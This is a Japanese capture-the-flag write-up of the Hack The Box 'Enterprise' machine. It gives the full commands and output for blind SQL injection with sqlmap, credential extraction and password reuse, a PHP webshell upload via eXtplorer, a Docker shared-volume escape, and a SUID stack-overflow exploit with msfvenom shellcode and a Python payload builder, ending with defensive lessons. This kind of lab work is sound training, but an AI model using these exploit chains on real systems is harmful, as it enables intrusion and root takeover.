Hack The BoxのWriteup(Enterprise)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Enterprise — 全実行コマンド・実行結果レポート
Nmap全ポート
22/80/443/8080/32812
lcars_db.php SQLi
post_name=$query 無サニタイズ
Passwords投稿抽出
sqlmap –no-cast –charset
パスワード再利用
WP william.riker / Joomla geordi.la.forge
Extplorer webshell
独自CSRFトークン
Docker外シェル
user.txt ✓
/bin/lcars BOF
offset=212, msfvenom shellcode
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン(主要ポート → 全ポート)

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... -T4 --max-retries 3 10.129.58.43
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.43
RESULT
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache/2.4.10 (Debian) / X-Powered-By: PHP/5.6.31
443/tcp   open  https
8080/tcp  open  http-proxy
32812/tcp open  unknown  (全ポートスキャンで追加検出)
ℹ️
SSHバナーは Ubuntu だが、80/443番のApacheバナーは Debian 8。 これは 80(WordPress) と 8080(Joomla) が 別々のDockerコンテナ内で稼働しており、 ホストOS(Ubuntu)とは異なるベースイメージ(Debian 8)を使っているためと後で判明する。

SSL証明書からホスト名を発見

BASH
openssl s_client -connect 10.129.58.43:443
RESULT
subject=C=UK, ST=United Federation of Planets, L=Earth, O=USS Enterprise,
  OU=Bridge, CN=enterprise.local,
  emailAddress=jeanlucpicard@enterprise.local
BASH
# /etc/hosts に追記
echo "10.129.58.43 enterprise.htb" | sudo tee -a /etc/hosts
ℹ️
証明書の emailAddress から後の user.txt が /home/jeanlucpicard/user.txt に あることが推測できる(Star Trek: The Next Generation のキャラクター名がユーザー名として使われている)。

443番ポートの /files 共有ディレクトリを発見

BASH
curl -sk https://enterprise.htb/files/
RESULT
<title>Index of /files</title>
(ディレクトリリスティングが有効。80番WordPress・8080番Joomlaとファイルを
  共有する Docker ボリュームがマウントされていることが後に判明する)
🚨
重要発見: 443番ポートは 80/8080 とは別のDocker外(ホスト直)のApacheで 稼働しており、/files はWordPress・Joomlaの両コンテナと共有ボリュームに なっている。この構造が後の Docker エスケープの鍵になる。
PHASE 2

lcars_db.php の SQL インジェクション発見

カスタムWordPressプラグイン “lcars” の存在確認

BASH
curl -s "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1"
RESULT
<br />
<b>Catchable fatal error</b>:  Object of class mysqli_result could not be
converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b>
on line <b>16</b><br>
ℹ️
PHPのエラーメッセージからソースの一部が推測できる。lcars_db.php は $sql = "SELECT ID FROM wp_posts WHERE post_name = $query"; のように クォート無しで直接埋め込んでおり、かつ echo $result;クエリ結果オブジェクトをそのままechoしている (実データを画面に反映する経路が無いため、後の抽出はブラインド系のみで行う必要がある)。

sqlmap によるインジェクション確認

BASH
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --batch --dbms=mysql --dbs
RESULT
Parameter: query (GET)
    Type: boolean-based blind
    Payload: query=(SELECT (CASE WHEN (7610=7610) THEN 1 ELSE (SELECT 5810 UNION SELECT 6867) END))

    Type: time-based blind
    Payload: query=1 AND (SELECT 6183 FROM (SELECT(SLEEP(5)))Ehuy)

target URL appears to be UNION injectable with 1 columns
back-end DBMS: MySQL
available databases [8]: information_schema, joomla, joomladb, mysql,
  performance_schema, sys, wordpress, wordpressdb
⚠️
UNIONインジェクションとして「使用可能」と判定されるが、lcars_db.php は クエリ結果を実データとして画面に反映しないため(2-1参照)、 実際にデータを抜き出せるのは boolean-based blind と time-based blind のみ
PHASE 3

パスワード抽出 & 認証情報奪取

トラブルシューティング: wp_posts 全dumpが無限リトライでハング

BASH
# 最初に試した(失敗する)方法 — テーブル全体をdump
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --batch --threads 10 -D wordpress -T wp_posts -C post_content --dump
RESULT
[INFO] retrieving the length of query output
[ERROR] invalid character detected. retrying..
[ERROR] invalid character detected. retrying..
[ERROR] unable to properly validate last character value ('\xd6')..
[ERROR] invalid character detected. retrying.. (延々と継続、5分タイムアウトでも終わらない)
🚨
根本原因: sqlmapの既定動作は文字抽出時に CAST(... AS NCHAR) を使い、 0〜65535の範囲を二分探索する(多バイト文字対応のため)。 wp_posts テーブルには customize_changeset 型の投稿が複数あり、 中身が最大12570文字の巨大なJSON/バイナリに近いデータ。 この二分探索アルゴリズムがマルチバイト境界の不正な値に遭遇すると 無限に “invalid character detected” を繰り返して実質ハングする。
BASH
# 対策: --no-cast (NCHARキャスト無効化) + --charset で印字可能ASCIIのみに制限
CHARSET=$(python3 -c 'print("".join(chr(c) for c in range(32,127)))')
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --batch --dbms=mysql --no-cast --charset="$CHARSET" --technique=B --threads 5 \
  --sql-query "SELECT GROUP_CONCAT(ID,0x3a,post_title,0x3a,LENGTH(post_content),0x3a,post_type SEPARATOR 0x0a) FROM wp_posts"
RESULT
1:Hello world!:85:post?3:Auto Draft:0:post?...?
50::305:customize_changeset?51:Stardate 49827.5:266:post?...
66:Passwords:148:post?67:Passwords:128:revision?68:Passwords:148:revision?69
対策成功。 全42行の post_content を dump するのではなく、まず ID・タイトル・文字数だけを軽量に取得して、目的の投稿 (ID=66, "Passwords", 148文字) をピンポイントで特定してから その1行だけを抽出する方式に変更。数分でハングしていた処理が数十秒で完了する。

Passwords 投稿の内容を取得

BASH
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --batch --dbms=mysql --no-cast --charset="$CHARSET" --technique=B --threads 5 \
  --sql-query "SELECT post_content FROM wp_posts WHERE post_title=0x50617373776f726473 AND post_type=0x706f7374"
RESULT
Needed somewhere to put some passwords quickly????ZxJyhGem4k338S2Y
????enterprisencc170????ZD3YxfnSjezg67JZ
????u*Z14ru0p#ttj83zS6????&nbsp;????&nbsp;
ℹ️
???? は改行文字(\n=0x0a)が --charset の印字可能ASCII範囲 (32〜126)から除外されているため?のプレースホルダに置換された結果。 実際の区切りは改行で、パスワード候補は ZxJyhGem4k338S2Y / enterprisencc170 / ZD3YxfnSjezg67JZ / u*Z14ru0p#ttj83zS6 の4件。

WordPress ユーザー列挙 & パスワード総当たり

BASH
curl -s "http://enterprise.htb/?author=1" | grep -oP '(?<=<title>)[^<]+'
RESULT
uid=1 title=william.riker &#8211; USS Enterprise
uid=2,3,4 → Page not found
BASH
for pw in 'ZxJyhGem4k338S2Y' 'enterprisencc170' 'ZD3YxfnSjezg67JZ' 'u*Z14ru0p#ttj83zS6'; do
  curl -s -i --data-urlencode "log=william.riker" --data-urlencode "pwd=$pw" \
    --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" \
    "http://enterprise.htb/wp-login.php" | grep -i "wordpress_logged_in"
done
RESULT
Set-Cookie: wordpress_logged_in_56b9cce...=william.riker|...
(pwd = u*Z14ru0p#ttj83zS6 でログイン成功)
⚠️
ハマりどころ: このWordPressの wp-login.php は、ログイン成功時も 302 Location を返さず HTTP 200 のまま wordpress_logged_in_* Cookieだけを セットする。「wp-adminLocation: ヘッダーの有無」で判定するロジックだと 成功しているのに失敗と誤判定してしまう。ログイン成功Cookieの有無で判定すること。

Joomla ユーザー列挙 & パスワード再利用

BASH
sqlmap ... --sql-query "SELECT GROUP_CONCAT(username SEPARATOR 0x2c) FROM joomladb.edz2g_users"
RESULT
geordi.la.forge,Guinan
BASH
# CSRFトークンを取得してから4候補×2ユーザーで総当たりログイン
joomla_url="http://enterprise.htb:8080/administrator/index.php"
# (CSRFトークン取得 → username/passwd/option=com_login&task=login&<token>=1 でPOST)
RESULT
SUCCESS: geordi.la.forge : ZD3YxfnSjezg67JZ
パスワード再利用成功。 WordPress側で確認できた4候補のうち、 Joomla側では別の1件 (ZD3YxfnSjezg67JZ) が geordi.la.forge の パスワードとして機能する(サービスごとに使い回すパスワードが異なる点に注意)。
PHASE 4

Extplorer webshell 設置 & Docker エスケープ & user.txt

トラブルシューティング: exploit-db 24018.rb そのままでは失敗

BASH
# /usr/share/exploitdb/exploits/php/remote/24018.rb のフィールド構造をそのまま使用
curl -s -b cookies.txt -c cookies.txt \
  -F "userfile[0]=@writeup.php;filename=writeup.php;type=application/x-httpd-php" \
  -F "overwrite_files=on" -F "dir=%2ffiles" \
  -F "option=com_extplorer" -F "action=upload" \
  -F "requestType=xmlhttprequest" -F "confirm=true" \
  "http://enterprise.htb:8080/administrator/index.php"
RESULT
{'action':'tokencheck','message':'Request failed: Security Token not valid.','success':false}
🚨
原因: exploit-db 24018.rb はスタンドアロン版eXtplorer向けで、 option=com_extplorer&action=login&password[]=(空パスワード)という 独自の認証バイパスを使う設計。今回のターゲットは Joomla組み込み版で、 既にJoomla管理者としてログイン済みだが、アップロードAPI自体は Joomlaコアとは別のeXtplorer独自のCSRFトークンを要求する。
BASH
# 対策: functions.js の中に埋め込まれた独自トークンを取得
js=$(curl -s -b cookies.txt \
  "http://enterprise.htb:8080/administrator/index.php?option=com_extplorer&action=include_javascript&file=functions.js")
token=$(echo "$js" | grep -oP 'token:\s*"\K[a-f0-9]{32}')
# アップロードに "-F token=$token" を追加
RESULT
{'action':'upload','message':'Upload successful!','success':true}
functions.jsのレスポンス中に token:"<32桁hex>" という形で eXtplorer専用のCSRFトークンが埋め込まれている。これを token フィールドとして 送ることでアップロードが成功する(Joomlaコアの name=32桁hex, value=1 形式のトークンとは別物)。

443番ポート(Docker外)経由でのアクセス確認

BASH
curl -sk --data-urlencode "c=id" -G "https://enterprise.htb/files/writeup.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Dockerエスケープ成功。 Joomla(8080)にアップロードしたファイルへ、 Docker外のホスト直Apache(443)からアクセスできている。 /files がWordPress/Joomlaコンテナとホストの間で共有ボリュームに なっているため、コンテナ内で作成したファイルがホスト側からも同じパスで見える。

user.txt 取得

BASH
curl -sk --data-urlencode "c=cat /home/jeanlucpicard/user.txt" -G "https://enterprise.htb/files/writeup.php"
RESULT
b58b5fce3d853343f9ad97da733e6c39
user.txt — jeanlucpicard
b58b5fce3d853343f9ad97da733e6c39
PHASE 5

/bin/lcars SUIDバイナリのスタックBOF解析

SUIDバイナリの発見

BASH
curl -sk --data-urlencode "c=ls -la /bin/lcars" -G "https://enterprise.htb/files/writeup.php"
RESULT
-rwsr-xr-x 1 root root 12152 Sep  8  2017 /bin/lcars
/bin/lcars: setuid ELF 32-bit LSB shared object, Intel 80386 ... not stripped

トラブルシューティング: アクセスコードは “picarda1n4” ではない

BASH
curl -sk --data-urlencode "c=echo | timeout 5 ltrace -f /bin/lcars 2>&1 | head -n 30" \
  -G "https://enterprise.htb/files/writeup.php"
RESULT
fgets("picard\n", 9, 0xf7fc75a0)      = 0xffffdca7
strcmp("picard\n", "picarda1")
puts("\nInvalid Code\nTerminating Consol"...)
🚨
過去の想定が誤りだったことが判明: 以前のPDFウォークスルー由来のメモでは アクセスコードを結合文字列 "picarda1n4" として扱っていたが、実測すると fgets(buf, 9, ...)先頭8文字しか読まれないため、 正解は “picarda1” のみ。残りの文字列はメニュー選択の別の入力行として 扱う必要がある。
BASH
# アクセスコードとメニュー選択を別行で送る
printf 'picarda1\n4\n' | /bin/lcars
RESULT
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation  2. Ships Log  3. Science  4. Security
5. StellaCartography  6. Engineering  7. Exit
Waiting for input:
Disable Security Force Fields
Enter Security Override:  ← ここがBOF脆弱箇所
ℹ️
アクセスコード成功後、メニューで “4” (Security) を選ぶと表示される Enter Security Override: プロンプトが、実際にスタックオーバーフローする入力箇所。 最初のアクセスコード入力自体は脆弱ではない。

cyclic pattern によるオフセット特定

PYTHON
from pwn import cyclic, cyclic_find
payload = b"picarda1\n4\n" + cyclic(300) + b"\n"
# gdb -batch -ex 'run < stdin.bin' -ex 'info registers eip esp' /bin/lcars
RESULT
Program received signal SIGSEGV
0x63616164 in ?? ()
>>> cyclic_find(0x63616164)
212
EIP上書きオフセット = 212バイトと確定(これは旧メモの想定と一致していた)。

トラブルシューティング: ASLR無効でも環境変数でスタックアドレスが変わる

BASH
cat /proc/sys/kernel/randomize_va_space   # → 0 (ASLR無効)

# 素のgdb (Webシェル/Apacheの環境変数を継承) でクラッシュさせると…
gdb -batch -ex 'run < cyclic.bin' -ex 'info registers esp' /bin/lcars
# → esp = 0xffffdc30

# 実際のexploitは `env -` (環境変数を完全クリア) して実行するため、
# gdb側もexec-wrapperで環境をクリアして再測定する
gdb -batch -ex 'set exec-wrapper env -i' -ex 'run < cyclic.bin' -ex 'info registers esp' /bin/lcars
# → esp = 0xffffde00 (環境変数の量が変わるとスタックアドレスも変わる)
⚠️
ASLRが無効(randomize_va_space=0)でも、環境変数の量が変われば スタックの先頭アドレスは変わる。 Apache/PHPのWebシェル経由で直接 /bin/lcars を実行した場合の環境変数(HTTP_*等多数)と、 env - で環境を空にした場合とでは、実測アドレスが約 0x1D0 バイトもずれた。 gdbでオフセットや着地アドレスを検証する際は、実際にexploitで使う起動方法 (今回は env -) と同じ条件を set exec-wrapper で再現する必要がある。

トラブルシューティング: 旧メモのシェルコードは実環境で動作しなかった

BASH
# PDF由来の既知シェルコード(114バイト、エンコード済み)で試行
gdb -batch -ex 'set exec-wrapper env -i' -ex 'run < payload.bin' -ex 'info registers eip esp' /bin/lcars
RESULT
Program received signal SIGSEGV
0xffffddea in ?? ()   ← 狙った着地点(0xffffdd60)から138バイトずれた位置で
                            シェルコード実行中にクラッシュ (NOPスレッドは正常通過)
🚨
オフセット・着地アドレスは正しいのに、シェルコード自体が実行途中でクラッシュする。 リターンアドレス書き込み位置の検証 (既知の4バイト値を仕込んでEIPと完全一致することを確認済み) から、ペイロード構築ロジックに誤りは無く、シェルコードそのものが本環境に非対応と判断。
BASH
# 対策: msfvenomで確実に動作するシェルコードを都度生成する
msfvenom -p linux/x86/exec CMD='cp /bin/bash /tmp/writeup; chmod 4777 /tmp/writeup' \
  -b '\x00\x0a\x0d' -f raw -o shellcode.bin
RESULT
x86/shikata_ga_nai succeeded with size 113 (iteration=0)
Payload size: 113 bytes
ハードコードされた古いエンコード済みシェルコードに依存せず、実行時にmsfvenomで 再生成する方式に変更。bad chars (\x00\x0a\x0d) はgets/fgets系の入力読み取りを 壊さないよう除外。
PHASE 6

BOFエクスプロイト実行 → root.txt

最終ペイロードの構築

PYTHON
import struct
with open("shellcode.bin","rb") as f:
    shellcode = f.read()          # msfvenom生成、113バイト

nops    = b"\x90" * 70
addr    = struct.pack("<L", 0xffffdd60)      # env-クリア環境で実測確認済みの着地アドレス
padding = 212                                  # cyclic patternで実測確認済みのオフセット
fill    = padding - len(nops) - len(shellcode) # = 29

payload  = b"picarda1\n4\n"                    # アクセスコード + メニュー選択(別行)
payload += nops + shellcode + b"A" * fill + addr + b"\n"

ペイロード送信 & SUIDバイナリ生成確認

BASH
# webshell経由でBase64デコード→ /bin/lcars に env - (環境クリア) で標準入力供給
curl -sk --data-urlencode "c=echo $(base64 -w0 payload.bin) | base64 -d > /tmp/.ent.bin" \
  -G "https://enterprise.htb/files/writeup.php"
curl -sk --data-urlencode "c=rm -f /tmp/writeup; cat /tmp/.ent.bin | env - /bin/lcars >/dev/null 2>&1; ls -la /tmp/writeup" \
  -G "https://enterprise.htb/files/writeup.php"
RESULT
-rwsrwxrwx 1 root www-data 1099016 Sep  6 02:47 /tmp/writeup
BOF成功。 シェルコードが実行され、/bin/bash/tmp/writeup にコピー・SUID化された(root所有・全員実行可)。 /bin/lcars 自体が起動直後に setresuid(0,0,0) しているため、 シェルコードは root 権限で走る。

root.txt 取得

BASH
curl -sk --data-urlencode "c=echo 'cat /root/root.txt' | /tmp/writeup -p" \
  -G "https://enterprise.htb/files/writeup.php"
RESULT
c8a710916e8a22c585b3f8427946a393
root.txt — root
c8a710916e8a22c585b3f8427946a393
ℹ️
/tmp/writeup -p-p オプションでSUID実行時の実効/実UIDの不一致を 許容してroot権限のまま起動するbashの挙動を利用。標準入力から cat /root/root.txt を1回だけ流し込むことで非対話的にフラグを取得する。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jeanlucpicard
b58b5fce3d853343f9ad97da733e6c39
root.txt — root
c8a710916e8a22c585b3f8427946a393

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SQLi (無サニタイズ) lcars_db.php (カスタムWPプラグイン) DB全体の読み取り Critical query パラメータがクォート無しでSQL文に直接連結、boolean/time-basedブラインドでPasswords投稿を抽出
パスワード再利用 WordPress / Joomla 管理アカウント 管理パネルへのログイン High 投稿から抜いた4候補パスワードをWP・Joomla双方のユーザーと総当たりして正しい組を特定
Extplorer任意ファイルアップロード Joomla eXtplorer コンポーネント RCE (Docker外www-data) Critical 管理者ログイン後、独自CSRFトークンを取得してPHP webshellを共有ボリュームにアップロード
共有ボリュームによるDockerエスケープ /files ディレクトリ (Docker↔ホスト共有) Docker外ホストシェル High コンテナ内にアップロードしたwebshellを、Docker外の443番Apacheから直接実行
SUIDバイナリのスタックBOF /bin/lcars (Security Override入力) root権限奪取 Critical offset=212、NOPスレッド+msfvenom生成シェルコードでrootのSUIDシェルを作成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + SSL証明書解析22/80/443/8080/32812、hostname=enterprise.htb、/files共有ディレクトリ
2SQLi発見lcars_db.php ソース漏洩調査 + sqlmapquery パラメータのブラインドSQLi確認
3認証情報奪取sqlmap (--no-cast/--charset) + パスワード総当たりWP: william.riker、Joomla: geordi.la.forge
4Webシェル設置Extplorer独自CSRFトークン + 共有ボリューム悪用user.txt 取得(Docker外www-data)
5BOF解析ltrace + cyclic pattern + gdb(exec-wrapper)アクセスコード"picarda1"、offset=212、着地アドレス確定
6エクスプロイトmsfvenom shellcode + BOFペイロード送信root.txt 取得(SUID /tmp/writeup)

学んだ教訓 & 防御策

問題点防御策
カスタムプラグインがユーザー入力をクォート無しでSQL文に連結 プリペアドステートメント/パラメータ化クエリを徹底し、独自コードのセキュリティレビューを行う。
複数サービス(WordPress・Joomla)間でパスワードを使い回している サービスごとに個別のパスワードを発行し、パスワードマネージャー等での一元管理を徹底する。
ファイルマネージャー(Extplorer)コンポーネントが管理者権限で任意ファイルアップロードを許可 不要な管理コンポーネントは削除・無効化する。アップロード可能ディレクトリではPHP実行を無効化する。
Dockerコンテナとホストが共有ボリュームでファイルシステムを共有している コンテナはホストと不要なボリュームを共有しない。共有が必要な場合も実行権限を分離する。
SUIDバイナリにスタックバッファオーバーフロー脆弱性が存在 不要なSUIDビットを削除する。入力長のバリデーション、Stack Canary/ASLR/NXの有効化を徹底する。
HackTheBox: Enterprise | 完全攻略レポート